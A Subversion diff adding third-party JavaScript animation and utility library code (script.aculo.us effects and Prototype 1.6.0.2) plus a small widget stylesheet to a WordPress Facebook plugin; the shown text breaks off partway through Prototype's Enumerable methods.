+Effect.Grow = function(element) {
+  element = $(element);
+  var options = Object.extend({
+    direction: 'center',
+    moveTransition: Effect.Transitions.sinoidal,
+    scaleTransition: Effect.Transitions.sinoidal,
+    opacityTransition: Effect.Transitions.full
+  }, arguments[1] || { });
+  var oldStyle = {
+    top: element.style.top,
+    left: element.style.left,
+    height: element.style.height,
+    width: element.style.width,
+    opacity: element.getInlineOpacity() };
+
+  var dims = element.getDimensions();    
+  var initialMoveX, initialMoveY;
+  var moveX, moveY;
+  
+  switch (options.direction) {
+    case 'top-left':
+      initialMoveX = initialMoveY = moveX = moveY = 0; 
+      break;
+    case 'top-right':
+      initialMoveX = dims.width;
+      initialMoveY = moveY = 0;
+      moveX = -dims.width;
+      break;
+    case 'bottom-left':
+      initialMoveX = moveX = 0;
+      initialMoveY = dims.height;
+      moveY = -dims.height;
+      break;
+    case 'bottom-right':
+      initialMoveX = dims.width;
+      initialMoveY = dims.height;
+      moveX = -dims.width;
+      moveY = -dims.height;
+      break;
+    case 'center':
+      initialMoveX = dims.width / 2;
+      initialMoveY = dims.height / 2;
+      moveX = -dims.width / 2;
+      moveY = -dims.height / 2;
+      break;
+  }
+  
+  return new Effect.Move(element, {
+    x: initialMoveX,
+    y: initialMoveY,
+    duration: 0.01, 
+    beforeSetup: function(effect) {
+      effect.element.hide().makeClipping().makePositioned();
+    },
+    afterFinishInternal: function(effect) {
+      new Effect.Parallel(
+        [ new Effect.Opacity(effect.element, { sync: true, to: 1.0, from: 0.0, transition: options.opacityTransition }),
+          new Effect.Move(effect.element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition }),
+          new Effect.Scale(effect.element, 100, {
+            scaleMode: { originalHeight: dims.height, originalWidth: dims.width }, 
+            sync: true, scaleFrom: window.opera ? 1 : 0, transition: options.scaleTransition, restoreAfterFinish: true})
+        ], Object.extend({
+             beforeSetup: function(effect) {
+               effect.effects[0].element.setStyle({height: '0px'}).show(); 
+             },
+             afterFinishInternal: function(effect) {
+               effect.effects[0].element.undoClipping().undoPositioned().setStyle(oldStyle); 
+             }
+           }, options)
+      )
+    }
+  });
+};
+
+Effect.Shrink = function(element) {
+  element = $(element);
+  var options = Object.extend({
+    direction: 'center',
+    moveTransition: Effect.Transitions.sinoidal,
+    scaleTransition: Effect.Transitions.sinoidal,
+    opacityTransition: Effect.Transitions.none
+  }, arguments[1] || { });
+  var oldStyle = {
+    top: element.style.top,
+    left: element.style.left,
+    height: element.style.height,
+    width: element.style.width,
+    opacity: element.getInlineOpacity() };
+
+  var dims = element.getDimensions();
+  var moveX, moveY;
+  
+  switch (options.direction) {
+    case 'top-left':
+      moveX = moveY = 0;
+      break;
+    case 'top-right':
+      moveX = dims.width;
+      moveY = 0;
+      break;
+    case 'bottom-left':
+      moveX = 0;
+      moveY = dims.height;
+      break;
+    case 'bottom-right':
+      moveX = dims.width;
+      moveY = dims.height;
+      break;
+    case 'center':  
+      moveX = dims.width / 2;
+      moveY = dims.height / 2;
+      break;
+  }
+  
+  return new Effect.Parallel(
+    [ new Effect.Opacity(element, { sync: true, to: 0.0, from: 1.0, transition: options.opacityTransition }),
+      new Effect.Scale(element, window.opera ? 1 : 0, { sync: true, transition: options.scaleTransition, restoreAfterFinish: true}),
+      new Effect.Move(element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition })
+    ], Object.extend({            
+         beforeStartInternal: function(effect) {
+           effect.effects[0].element.makePositioned().makeClipping(); 
+         },
+         afterFinishInternal: function(effect) {
+           effect.effects[0].element.hide().undoClipping().undoPositioned().setStyle(oldStyle); }
+       }, options)
+  );
+};
+
+Effect.Pulsate = function(element) {
+  element = $(element);
+  var options    = arguments[1] || { };
+  var oldOpacity = element.getInlineOpacity();
+  var transition = options.transition || Effect.Transitions.sinoidal;
+  var reverser   = function(pos){ return transition(1-Effect.Transitions.pulse(pos, options.pulses)) };
+  reverser.bind(transition);
+  return new Effect.Opacity(element, 
+    Object.extend(Object.extend({  duration: 2.0, from: 0,
+      afterFinishInternal: function(effect) { effect.element.setStyle({opacity: oldOpacity}); }
+    }, options), {transition: reverser}));
+};
+
+Effect.Fold = function(element) {
+  element = $(element);
+  var oldStyle = {
+    top: element.style.top,
+    left: element.style.left,
+    width: element.style.width,
+    height: element.style.height };
+  element.makeClipping();
+  return new Effect.Scale(element, 5, Object.extend({   
+    scaleContent: false,
+    scaleX: false,
+    afterFinishInternal: function(effect) {
+    new Effect.Scale(element, 1, { 
+      scaleContent: false, 
+      scaleY: false,
+      afterFinishInternal: function(effect) {
+        effect.element.hide().undoClipping().setStyle(oldStyle);
+      } });
+  }}, arguments[1] || { }));
+};
+
+Effect.Morph = Class.create(Effect.Base, {
+  initialize: function(element) {
+    this.element = $(element);
+    if (!this.element) throw(Effect._elementDoesNotExistError);
+    var options = Object.extend({
+      style: { }
+    }, arguments[1] || { });
+    
+    if (!Object.isString(options.style)) this.style = $H(options.style);
+    else {
+      if (options.style.include(':'))
+        this.style = options.style.parseStyle();
+      else {
+        this.element.addClassName(options.style);
+        this.style = $H(this.element.getStyles());
+        this.element.removeClassName(options.style);
+        var css = this.element.getStyles();
+        this.style = this.style.reject(function(style) {
+          return style.value == css[style.key];
+        });
+        options.afterFinishInternal = function(effect) {
+          effect.element.addClassName(effect.options.style);
+          effect.transforms.each(function(transform) {
+            effect.element.style[transform.style] = '';
+          });
+        }
+      }
+    }
+    this.start(options);
+  },
+  
+  setup: function(){
+    function parseColor(color){
+      if (!color || ['rgba(0, 0, 0, 0)','transparent'].include(color)) color = '#ffffff';
+      color = color.parseColor();
+      return $R(0,2).map(function(i){
+        return parseInt( color.slice(i*2+1,i*2+3), 16 ) 
+      });
+    }
+    this.transforms = this.style.map(function(pair){
+      var property = pair[0], value = pair[1], unit = null;
+
+      if (value.parseColor('#zzzzzz') != '#zzzzzz') {
+        value = value.parseColor();
+        unit  = 'color';
+      } else if (property == 'opacity') {
+        value = parseFloat(value);
+        if (Prototype.Browser.IE && (!this.element.currentStyle.hasLayout))
+          this.element.setStyle({zoom: 1});
+      } else if (Element.CSS_LENGTH.test(value)) {
+          var components = value.match(/^([\+\-]?[0-9\.]+)(.*)$/);
+          value = parseFloat(components[1]);
+          unit = (components.length == 3) ? components[2] : null;
+      }
+
+      var originalValue = this.element.getStyle(property);
+      return { 
+        style: property.camelize(), 
+        originalValue: unit=='color' ? parseColor(originalValue) : parseFloat(originalValue || 0), 
+        targetValue: unit=='color' ? parseColor(value) : value,
+        unit: unit
+      };
+    }.bind(this)).reject(function(transform){
+      return (
+        (transform.originalValue == transform.targetValue) ||
+        (
+          transform.unit != 'color' &&
+          (isNaN(transform.originalValue) || isNaN(transform.targetValue))
+        )
+      )
+    });
+  },
+  update: function(position) {
+    var style = { }, transform, i = this.transforms.length;
+    while(i--)
+      style[(transform = this.transforms[i]).style] = 
+        transform.unit=='color' ? '#'+
+          (Math.round(transform.originalValue[0]+
+            (transform.targetValue[0]-transform.originalValue[0])*position)).toColorPart() +
+          (Math.round(transform.originalValue[1]+
+            (transform.targetValue[1]-transform.originalValue[1])*position)).toColorPart() +
+          (Math.round(transform.originalValue[2]+
+            (transform.targetValue[2]-transform.originalValue[2])*position)).toColorPart() :
+        (transform.originalValue +
+          (transform.targetValue - transform.originalValue) * position).toFixed(3) + 
+            (transform.unit === null ? '' : transform.unit);
+    this.element.setStyle(style, true);
+  }
+});
+
+Effect.Transform = Class.create({
+  initialize: function(tracks){
+    this.tracks  = [];
+    this.options = arguments[1] || { };
+    this.addTracks(tracks);
+  },
+  addTracks: function(tracks){
+    tracks.each(function(track){
+      track = $H(track);
+      var data = track.values().first();
+      this.tracks.push($H({
+        ids:     track.keys().first(),
+        effect:  Effect.Morph,
+        options: { style: data }
+      }));
+    }.bind(this));
+    return this;
+  },
+  play: function(){
+    return new Effect.Parallel(
+      this.tracks.map(function(track){
+        var ids = track.get('ids'), effect = track.get('effect'), options = track.get('options');
+        var elements = [$(ids) || $$(ids)].flatten();
+        return elements.map(function(e){ return new effect(e, Object.extend({ sync:true }, options)) });
+      }).flatten(),
+      this.options
+    );
+  }
+});
+
+Element.CSS_PROPERTIES = $w(
+  'backgroundColor backgroundPosition borderBottomColor borderBottomStyle ' + 
+  'borderBottomWidth borderLeftColor borderLeftStyle borderLeftWidth ' +
+  'borderRightColor borderRightStyle borderRightWidth borderSpacing ' +
+  'borderTopColor borderTopStyle borderTopWidth bottom clip color ' +
+  'fontSize fontWeight height left letterSpacing lineHeight ' +
+  'marginBottom marginLeft marginRight marginTop markerOffset maxHeight '+
+  'maxWidth minHeight minWidth opacity outlineColor outlineOffset ' +
+  'outlineWidth paddingBottom paddingLeft paddingRight paddingTop ' +
+  'right textIndent top width wordSpacing zIndex');
+  
+Element.CSS_LENGTH = /^(([\+\-]?[0-9\.]+)(em|ex|px|in|cm|mm|pt|pc|\%))|0$/;
+
+String.__parseStyleElement = document.createElement('div');
+String.prototype.parseStyle = function(){
+  var style, styleRules = $H();
+  if (Prototype.Browser.WebKit)
+    style = new Element('div',{style:this}).style;
+  else {
+    String.__parseStyleElement.innerHTML = '<div style="' + this + '"></div>';
+    style = String.__parseStyleElement.childNodes[0].style;
+  }
+  
+  Element.CSS_PROPERTIES.each(function(property){
+    if (style[property]) styleRules.set(property, style[property]); 
+  });
+  
+  if (Prototype.Browser.IE && this.include('opacity'))
+    styleRules.set('opacity', this.match(/opacity:\s*((?:0|1)?(?:\.\d*)?)/)[1]);
+
+  return styleRules;
+};
+
+if (document.defaultView && document.defaultView.getComputedStyle) {
+  Element.getStyles = function(element) {
+    var css = document.defaultView.getComputedStyle($(element), null);
+    return Element.CSS_PROPERTIES.inject({ }, function(styles, property) {
+      styles[property] = css[property];
+      return styles;
+    });
+  };
+} else {
+  Element.getStyles = function(element) {
+    element = $(element);
+    var css = element.currentStyle, styles;
+    styles = Element.CSS_PROPERTIES.inject({ }, function(results, property) {
+      results[property] = css[property];
+      return results;
+    });
+    if (!styles.opacity) styles.opacity = element.getOpacity();
+    return styles;
+  };
+};
+
+Effect.Methods = {
+  morph: function(element, style) {
+    element = $(element);
+    new Effect.Morph(element, Object.extend({ style: style }, arguments[2] || { }));
+    return element;
+  },
+  visualEffect: function(element, effect, options) {
+    element = $(element)
+    var s = effect.dasherize().camelize(), klass = s.charAt(0).toUpperCase() + s.substring(1);
+    new Effect[klass](element, options);
+    return element;
+  },
+  highlight: function(element, options) {
+    element = $(element);
+    new Effect.Highlight(element, options);
+    return element;
+  }
+};
+
+$w('fade appear grow shrink fold blindUp blindDown slideUp slideDown '+
+  'pulsate shake puff squish switchOff dropOut').each(
+  function(effect) { 
+    Effect.Methods[effect] = function(element, options){
+      element = $(element);
+      Effect[effect.charAt(0).toUpperCase() + effect.substring(1)](element, options);
+      return element;
+    }
+  }
+);
+
+$w('getInlineOpacity forceRerendering setContentZoom collectTextNodes collectTextNodesIgnoreClass getStyles').each( 
+  function(f) { Effect.Methods[f] = Element[f]; }
+);
+
+Element.addMethods(Effect.Methods);
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/common/fbstyle.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/common/fbstyle.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/common/fbstyle.css	(revision 44)
@@ -0,0 +1,22 @@
+/* Facebook Gallery Widget CSS */
+img.fbwidget{
+	border: 1px solid #ccc;
+	background: #fff;
+	padding: 2px;
+}
+img.fbwidget:hover {
+	border-color:#999;
+}
+.fbtip { /* For tooltips (tags in image) */
+	text-align:center;
+	color: #eee;font-family:Tahoma;font-weight:bold;
+	background:#333;font-size:11px;padding:4px
+}
+/* FB Status widget */
+.fbstatus_time {
+	display:block;
+}
+.fbstatus_text {
+	display:block;
+	padding:4px 0 0 0;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/common/prototype.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/common/prototype.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/common/prototype.js	(revision 44)
@@ -0,0 +1,4221 @@
+/*  Prototype JavaScript framework, version 1.6.0.2
+ *  (c) 2005-2008 Sam Stephenson
+ *
+ *  Prototype is freely distributable under the terms of an MIT-style license.
+ *  For details, see the Prototype web site: http://www.prototypejs.org/
+ *
+ *--------------------------------------------------------------------------*/
+
+var Prototype = {
+  Version: '1.6.0.2',
+
+  Browser: {
+    IE:     !!(window.attachEvent && !window.opera),
+    Opera:  !!window.opera,
+    WebKit: navigator.userAgent.indexOf('AppleWebKit/') > -1,
+    Gecko:  navigator.userAgent.indexOf('Gecko') > -1 && navigator.userAgent.indexOf('KHTML') == -1,
+    MobileSafari: !!navigator.userAgent.match(/Apple.*Mobile.*Safari/)
+  },
+
+  BrowserFeatures: {
+    XPath: !!document.evaluate,
+    ElementExtensions: !!window.HTMLElement,
+    SpecificElementExtensions:
+      document.createElement('div').__proto__ &&
+      document.createElement('div').__proto__ !==
+        document.createElement('form').__proto__
+  },
+
+  ScriptFragment: '<script[^>]*>([\\S\\s]*?)<\/script>',
+  JSONFilter: /^\/\*-secure-([\s\S]*)\*\/\s*$/,
+
+  emptyFunction: function() { },
+  K: function(x) { return x }
+};
+
+if (Prototype.Browser.MobileSafari)
+  Prototype.BrowserFeatures.SpecificElementExtensions = false;
+
+
+/* Based on Alex Arnell's inheritance implementation. */
+var Class = {
+  create: function() {
+    var parent = null, properties = $A(arguments);
+    if (Object.isFunction(properties[0]))
+      parent = properties.shift();
+
+    function klass() {
+      this.initialize.apply(this, arguments);
+    }
+
+    Object.extend(klass, Class.Methods);
+    klass.superclass = parent;
+    klass.subclasses = [];
+
+    if (parent) {
+      var subclass = function() { };
+      subclass.prototype = parent.prototype;
+      klass.prototype = new subclass;
+      parent.subclasses.push(klass);
+    }
+
+    for (var i = 0; i < properties.length; i++)
+      klass.addMethods(properties[i]);
+
+    if (!klass.prototype.initialize)
+      klass.prototype.initialize = Prototype.emptyFunction;
+
+    klass.prototype.constructor = klass;
+
+    return klass;
+  }
+};
+
+Class.Methods = {
+  addMethods: function(source) {
+    var ancestor   = this.superclass && this.superclass.prototype;
+    var properties = Object.keys(source);
+
+    if (!Object.keys({ toString: true }).length)
+      properties.push("toString", "valueOf");
+
+    for (var i = 0, length = properties.length; i < length; i++) {
+      var property = properties[i], value = source[property];
+      if (ancestor && Object.isFunction(value) &&
+          value.argumentNames().first() == "$super") {
+        var method = value, value = Object.extend((function(m) {
+          return function() { return ancestor[m].apply(this, arguments) };
+        })(property).wrap(method), {
+          valueOf:  function() { return method },
+          toString: function() { return method.toString() }
+        });
+      }
+      this.prototype[property] = value;
+    }
+
+    return this;
+  }
+};
+
+var Abstract = { };
+
+Object.extend = function(destination, source) {
+  for (var property in source)
+    destination[property] = source[property];
+  return destination;
+};
+
+Object.extend(Object, {
+  inspect: function(object) {
+    try {
+      if (Object.isUndefined(object)) return 'undefined';
+      if (object === null) return 'null';
+      return object.inspect ? object.inspect() : String(object);
+    } catch (e) {
+      if (e instanceof RangeError) return '...';
+      throw e;
+    }
+  },
+
+  toJSON: function(object) {
+    var type = typeof object;
+    switch (type) {
+      case 'undefined':
+      case 'function':
+      case 'unknown': return;
+      case 'boolean': return object.toString();
+    }
+
+    if (object === null) return 'null';
+    if (object.toJSON) return object.toJSON();
+    if (Object.isElement(object)) return;
+
+    var results = [];
+    for (var property in object) {
+      var value = Object.toJSON(object[property]);
+      if (!Object.isUndefined(value))
+        results.push(property.toJSON() + ': ' + value);
+    }
+
+    return '{' + results.join(', ') + '}';
+  },
+
+  toQueryString: function(object) {
+    return $H(object).toQueryString();
+  },
+
+  toHTML: function(object) {
+    return object && object.toHTML ? object.toHTML() : String.interpret(object);
+  },
+
+  keys: function(object) {
+    var keys = [];
+    for (var property in object)
+      keys.push(property);
+    return keys;
+  },
+
+  values: function(object) {
+    var values = [];
+    for (var property in object)
+      values.push(object[property]);
+    return values;
+  },
+
+  clone: function(object) {
+    return Object.extend({ }, object);
+  },
+
+  isElement: function(object) {
+    return object && object.nodeType == 1;
+  },
+
+  isArray: function(object) {
+    return object != null && typeof object == "object" &&
+      'splice' in object && 'join' in object;
+  },
+
+  isHash: function(object) {
+    return object instanceof Hash;
+  },
+
+  isFunction: function(object) {
+    return typeof object == "function";
+  },
+
+  isString: function(object) {
+    return typeof object == "string";
+  },
+
+  isNumber: function(object) {
+    return typeof object == "number";
+  },
+
+  isUndefined: function(object) {
+    return typeof object == "undefined";
+  }
+});
+
+Object.extend(Function.prototype, {
+  argumentNames: function() {
+    var names = this.toString().match(/^[\s\(]*function[^(]*\((.*?)\)/)[1].split(",").invoke("strip");
+    return names.length == 1 && !names[0] ? [] : names;
+  },
+
+  bind: function() {
+    if (arguments.length < 2 && Object.isUndefined(arguments[0])) return this;
+    var __method = this, args = $A(arguments), object = args.shift();
+    return function() {
+      return __method.apply(object, args.concat($A(arguments)));
+    }
+  },
+
+  bindAsEventListener: function() {
+    var __method = this, args = $A(arguments), object = args.shift();
+    return function(event) {
+      return __method.apply(object, [event || window.event].concat(args));
+    }
+  },
+
+  curry: function() {
+    if (!arguments.length) return this;
+    var __method = this, args = $A(arguments);
+    return function() {
+      return __method.apply(this, args.concat($A(arguments)));
+    }
+  },
+
+  delay: function() {
+    var __method = this, args = $A(arguments), timeout = args.shift() * 1000;
+    return window.setTimeout(function() {
+      return __method.apply(__method, args);
+    }, timeout);
+  },
+
+  wrap: function(wrapper) {
+    var __method = this;
+    return function() {
+      return wrapper.apply(this, [__method.bind(this)].concat($A(arguments)));
+    }
+  },
+
+  methodize: function() {
+    if (this._methodized) return this._methodized;
+    var __method = this;
+    return this._methodized = function() {
+      return __method.apply(null, [this].concat($A(arguments)));
+    };
+  }
+});
+
+Function.prototype.defer = Function.prototype.delay.curry(0.01);
+
+Date.prototype.toJSON = function() {
+  return '"' + this.getUTCFullYear() + '-' +
+    (this.getUTCMonth() + 1).toPaddedString(2) + '-' +
+    this.getUTCDate().toPaddedString(2) + 'T' +
+    this.getUTCHours().toPaddedString(2) + ':' +
+    this.getUTCMinutes().toPaddedString(2) + ':' +
+    this.getUTCSeconds().toPaddedString(2) + 'Z"';
+};
+
+var Try = {
+  these: function() {
+    var returnValue;
+
+    for (var i = 0, length = arguments.length; i < length; i++) {
+      var lambda = arguments[i];
+      try {
+        returnValue = lambda();
+        break;
+      } catch (e) { }
+    }
+
+    return returnValue;
+  }
+};
+
+RegExp.prototype.match = RegExp.prototype.test;
+
+RegExp.escape = function(str) {
+  return String(str).replace(/([.*+?^=!:${}()|[\]\/\\])/g, '\\$1');
+};
+
+/*--------------------------------------------------------------------------*/
+
+var PeriodicalExecuter = Class.create({
+  initialize: function(callback, frequency) {
+    this.callback = callback;
+    this.frequency = frequency;
+    this.currentlyExecuting = false;
+
+    this.registerCallback();
+  },
+
+  registerCallback: function() {
+    this.timer = setInterval(this.onTimerEvent.bind(this), this.frequency * 1000);
+  },
+
+  execute: function() {
+    this.callback(this);
+  },
+
+  stop: function() {
+    if (!this.timer) return;
+    clearInterval(this.timer);
+    this.timer = null;
+  },
+
+  onTimerEvent: function() {
+    if (!this.currentlyExecuting) {
+      try {
+        this.currentlyExecuting = true;
+        this.execute();
+      } finally {
+        this.currentlyExecuting = false;
+      }
+    }
+  }
+});
+Object.extend(String, {
+  interpret: function(value) {
+    return value == null ? '' : String(value);
+  },
+  specialChar: {
+    '\b': '\\b',
+    '\t': '\\t',
+    '\n': '\\n',
+    '\f': '\\f',
+    '\r': '\\r',
+    '\\': '\\\\'
+  }
+});
+
+Object.extend(String.prototype, {
+  gsub: function(pattern, replacement) {
+    var result = '', source = this, match;
+    replacement = arguments.callee.prepareReplacement(replacement);
+
+    while (source.length > 0) {
+      if (match = source.match(pattern)) {
+        result += source.slice(0, match.index);
+        result += String.interpret(replacement(match));
+        source  = source.slice(match.index + match[0].length);
+      } else {
+        result += source, source = '';
+      }
+    }
+    return result;
+  },
+
+  sub: function(pattern, replacement, count) {
+    replacement = this.gsub.prepareReplacement(replacement);
+    count = Object.isUndefined(count) ? 1 : count;
+
+    return this.gsub(pattern, function(match) {
+      if (--count < 0) return match[0];
+      return replacement(match);
+    });
+  },
+
+  scan: function(pattern, iterator) {
+    this.gsub(pattern, iterator);
+    return String(this);
+  },
+
+  truncate: function(length, truncation) {
+    length = length || 30;
+    truncation = Object.isUndefined(truncation) ? '...' : truncation;
+    return this.length > length ?
+      this.slice(0, length - truncation.length) + truncation : String(this);
+  },
+
+  strip: function() {
+    return this.replace(/^\s+/, '').replace(/\s+$/, '');
+  },
+
+  stripTags: function() {
+    return this.replace(/<\/?[^>]+>/gi, '');
+  },
+
+  stripScripts: function() {
+    return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), '');
+  },
+
+  extractScripts: function() {
+    var matchAll = new RegExp(Prototype.ScriptFragment, 'img');
+    var matchOne = new RegExp(Prototype.ScriptFragment, 'im');
+    return (this.match(matchAll) || []).map(function(scriptTag) {
+      return (scriptTag.match(matchOne) || ['', ''])[1];
+    });
+  },
+
+  evalScripts: function() {
+    return this.extractScripts().map(function(script) { return eval(script) });
+  },
+
+  escapeHTML: function() {
+    var self = arguments.callee;
+    self.text.data = this;
+    return self.div.innerHTML;
+  },
+
+  unescapeHTML: function() {
+    var div = new Element('div');
+    div.innerHTML = this.stripTags();
+    return div.childNodes[0] ? (div.childNodes.length > 1 ?
+      $A(div.childNodes).inject('', function(memo, node) { return memo+node.nodeValue }) :
+      div.childNodes[0].nodeValue) : '';
+  },
+
+  toQueryParams: function(separator) {
+    var match = this.strip().match(/([^?#]*)(#.*)?$/);
+    if (!match) return { };
+
+    return match[1].split(separator || '&').inject({ }, function(hash, pair) {
+      if ((pair = pair.split('='))[0]) {
+        var key = decodeURIComponent(pair.shift());
+        var value = pair.length > 1 ? pair.join('=') : pair[0];
+        if (value != undefined) value = decodeURIComponent(value);
+
+        if (key in hash) {
+          if (!Object.isArray(hash[key])) hash[key] = [hash[key]];
+          hash[key].push(value);
+        }
+        else hash[key] = value;
+      }
+      return hash;
+    });
+  },
+
+  toArray: function() {
+    return this.split('');
+  },
+
+  succ: function() {
+    return this.slice(0, this.length - 1) +
+      String.fromCharCode(this.charCodeAt(this.length - 1) + 1);
+  },
+
+  times: function(count) {
+    return count < 1 ? '' : new Array(count + 1).join(this);
+  },
+
+  camelize: function() {
+    var parts = this.split('-'), len = parts.length;
+    if (len == 1) return parts[0];
+
+    var camelized = this.charAt(0) == '-'
+      ? parts[0].charAt(0).toUpperCase() + parts[0].substring(1)
+      : parts[0];
+
+    for (var i = 1; i < len; i++)
+      camelized += parts[i].charAt(0).toUpperCase() + parts[i].substring(1);
+
+    return camelized;
+  },
+
+  capitalize: function() {
+    return this.charAt(0).toUpperCase() + this.substring(1).toLowerCase();
+  },
+
+  underscore: function() {
+    return this.gsub(/::/, '/').gsub(/([A-Z]+)([A-Z][a-z])/,'#{1}_#{2}').gsub(/([a-z\d])([A-Z])/,'#{1}_#{2}').gsub(/-/,'_').toLowerCase();
+  },
+
+  dasherize: function() {
+    return this.gsub(/_/,'-');
+  },
+
+  inspect: function(useDoubleQuotes) {
+    var escapedString = this.gsub(/[\x00-\x1f\\]/, function(match) {
+      var character = String.specialChar[match[0]];
+      return character ? character : '\\u00' + match[0].charCodeAt().toPaddedString(2, 16);
+    });
+    if (useDoubleQuotes) return '"' + escapedString.replace(/"/g, '\\"') + '"';
+    return "'" + escapedString.replace(/'/g, '\\\'') + "'";
+  },
+
+  toJSON: function() {
+    return this.inspect(true);
+  },
+
+  unfilterJSON: function(filter) {
+    return this.sub(filter || Prototype.JSONFilter, '#{1}');
+  },
+
+  isJSON: function() {
+    var str = this;
+    if (str.blank()) return false;
+    str = this.replace(/\\./g, '@').replace(/"[^"\\\n\r]*"/g, '');
+    return (/^[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]*$/).test(str);
+  },
+
+  evalJSON: function(sanitize) {
+    var json = this.unfilterJSON();
+    try {
+      if (!sanitize || json.isJSON()) return eval('(' + json + ')');
+    } catch (e) { }
+    throw new SyntaxError('Badly formed JSON string: ' + this.inspect());
+  },
+
+  include: function(pattern) {
+    return this.indexOf(pattern) > -1;
+  },
+
+  startsWith: function(pattern) {
+    return this.indexOf(pattern) === 0;
+  },
+
+  endsWith: function(pattern) {
+    var d = this.length - pattern.length;
+    return d >= 0 && this.lastIndexOf(pattern) === d;
+  },
+
+  empty: function() {
+    return this == '';
+  },
+
+  blank: function() {
+    return /^\s*$/.test(this);
+  },
+
+  interpolate: function(object, pattern) {
+    return new Template(this, pattern).evaluate(object);
+  }
+});
+
+if (Prototype.Browser.WebKit || Prototype.Browser.IE) Object.extend(String.prototype, {
+  escapeHTML: function() {
+    return this.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;');
+  },
+  unescapeHTML: function() {
+    return this.replace(/&amp;/g,'&').replace(/&lt;/g,'<').replace(/&gt;/g,'>');
+  }
+});
+
+String.prototype.gsub.prepareReplacement = function(replacement) {
+  if (Object.isFunction(replacement)) return replacement;
+  var template = new Template(replacement);
+  return function(match) { return template.evaluate(match) };
+};
+
+String.prototype.parseQuery = String.prototype.toQueryParams;
+
+Object.extend(String.prototype.escapeHTML, {
+  div:  document.createElement('div'),
+  text: document.createTextNode('')
+});
+
+with (String.prototype.escapeHTML) div.appendChild(text);
+
+var Template = Class.create({
+  initialize: function(template, pattern) {
+    this.template = template.toString();
+    this.pattern = pattern || Template.Pattern;
+  },
+
+  evaluate: function(object) {
+    if (Object.isFunction(object.toTemplateReplacements))
+      object = object.toTemplateReplacements();
+
+    return this.template.gsub(this.pattern, function(match) {
+      if (object == null) return '';
+
+      var before = match[1] || '';
+      if (before == '\\') return match[2];
+
+      var ctx = object, expr = match[3];
+      var pattern = /^([^.[]+|\[((?:.*?[^\\])?)\])(\.|\[|$)/;
+      match = pattern.exec(expr);
+      if (match == null) return before;
+
+      while (match != null) {
+        var comp = match[1].startsWith('[') ? match[2].gsub('\\\\]', ']') : match[1];
+        ctx = ctx[comp];
+        if (null == ctx || '' == match[3]) break;
+        expr = expr.substring('[' == match[3] ? match[1].length : match[0].length);
+        match = pattern.exec(expr);
+      }
+
+      return before + String.interpret(ctx);
+    });
+  }
+});
+Template.Pattern = /(^|.|\r|\n)(#\{(.*?)\})/;
+
+var $break = { };
+
+var Enumerable = {
+  each: function(iterator, context) {
+    var index = 0;
+    iterator = iterator.bind(context);
+    try {
+      this._each(function(value) {
+        iterator(value, index++);
+      });
+    } catch (e) {
+      if (e != $break) throw e;
+    }
+    return this;
+  },
+
+  eachSlice: function(number, iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var index = -number, slices = [], array = this.toArray();
+    while ((index += number) < array.length)
+      slices.push(array.slice(index, index+number));
+    return slices.collect(iterator, context);
+  },
+
+  all: function(iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var result = true;
+    this.each(function(value, index) {
+      result = result && !!iterator(value, index);
+      if (!result) throw $break;
+    });
+    return result;
+  },
+
+  any: function(iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var result = false;
+    this.each(function(value, index) {
+      if (result = !!iterator(value, index))
+        throw $break;
+    });
+    return result;
+  },
+
+  collect: function(iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var results = [];
+    this.each(function(value, index) {
+      results.push(iterator(value, index));
+    });
+    return results;
+  },
+
+  detect: function(iterator, context) {
+    iterator = iterator.bind(context);
+    var result;
+    this.each(function(value, index) {
+      if (iterator(value, index)) {
+        result = value;
+        throw $break;
+      }
+    });
+    return result;
+  },
+
+  findAll: function(iterator, context) {
+    iterator = iterator.bind(context);
+    var results = [];
+    this.each(function(value, index) {
+      if (iterator(value, index))
+        results.push(value);
+    });
+    return results;
+  },
+
+  grep: function(filter, iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var results = [];
+
+    if (Object.isString(filter))
+      filter = new RegExp(filter);
+
+    this.each(function(value, index) {
+      if (filter.match(value))
+        results.push(iterator(value, index));
+    });
+    return results;
+  },
+
+  include: function(object) {
+    if (Object.isFunction(this.indexOf))
+      if (this.indexOf(object) != -1) return true;
+
+    var found = false;
+    this.each(function(value) {
+      if (value == object) {
+        found = true;
+        throw $break;
+      }
+    });
+    return found;
+  },
+
+  inGroupsOf: function(number, fillWith) {
+    fillWith = Object.isUndefined(fillWith) ? null : fillWith;
+    return this.eachSlice(number, function(slice) {
+      while(slice.length < number) slice.push(fillWith);
+      return slice;
+    });
+  },
+
+  inject: function(memo, iterator, context) {
+    iterator = iterator.bind(context);
+    this.each(function(value, index) {
+      memo = iterator(memo, value, index);
+    });
+    return memo;
+  },
+
+  invoke: function(method) {
+    var args = $A(arguments).slice(1);
+    return this.map(function(value) {
+      return value[method].apply(value, args);
+    });
+  },
+
+  max: function(iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var result;
+    this.each(function(value, index) {
+      value = iterator(value, index);
+      if (result == null || value >= result)
+        result = value;
+    });
+    return result;
+  },
+
+  min: function(iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var result;
+    this.each(function(value, index) {
+      value = iterator(value, index);
+      if (result == null || value < result)
+        result = value;
+    });
+    return result;
+  },
+
+  partition: function(iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var trues = [], falses = [];
+    this.each(function(value, index) {
+      (iterator(value, index) ?
+        trues : falses).push(value);
+    });
+    return [trues, falses];
+  },
+
